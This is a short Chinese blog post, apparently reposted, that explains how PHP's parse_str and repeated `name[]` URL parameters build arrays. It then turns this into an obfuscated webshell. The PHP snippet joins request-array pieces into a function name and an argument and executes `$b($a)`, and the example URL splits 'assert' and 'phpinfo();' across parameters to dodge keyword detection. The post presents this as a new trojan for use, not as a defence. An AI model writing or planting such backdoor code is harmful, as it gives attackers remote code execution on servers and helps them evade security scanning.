最近发现php一个很2b的字符串构造数组的方法:

<?php
$str = "a[]=1&a[]=2&b[]=3";
parse_str($str, $arr);
print_r($arr);
?

以上代码返回结果为:
Array ( [a] => Array ( [0] => 1 [1] => 2 ) [b] => Array ( [0] => 3 ) )

也就是说当字符后面跟随“[]”符号,并且有多个相似结构的时候,返回的数组中会将该字符作为键名,并对应生成一个array键值,内容为该字符在字符串中等于的各个值(太绕了,看代码应该很容易理解)。

那么现在就产生一个问题,假如说一个url是这样的:
http://example.com?p1=v1&p2=v2&p3=v3&p1=v4&p2=v5
我们使用var_dump($_GET[‘p1’])得到的依据环境不同可能为v1或v4,如果我把p1修改为p1[]呢?
返回的将是Array ( [p1] => Array ( [0] => v1 [1] => v4 ) )

哈哈,你们已经想到了吧,我们把url修改为这样:
http://127.0.0.1/1.php?p1[]=phpinfo&p2[]=ass&p3=v3&p1[]=();&p2[]=ert
假如php代码这样写:

<?php
$a=implode("",$_GET['p1']);
$b=implode("",$_GET['p2']);
var_dump($_GET['p1']);
var_dump($_GET['p2']);
$b($a);
?>

又一种新的php木马产生,见证奇迹的时刻

转载自 http://blog.wegeek.org/index.php/archives/28.html

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。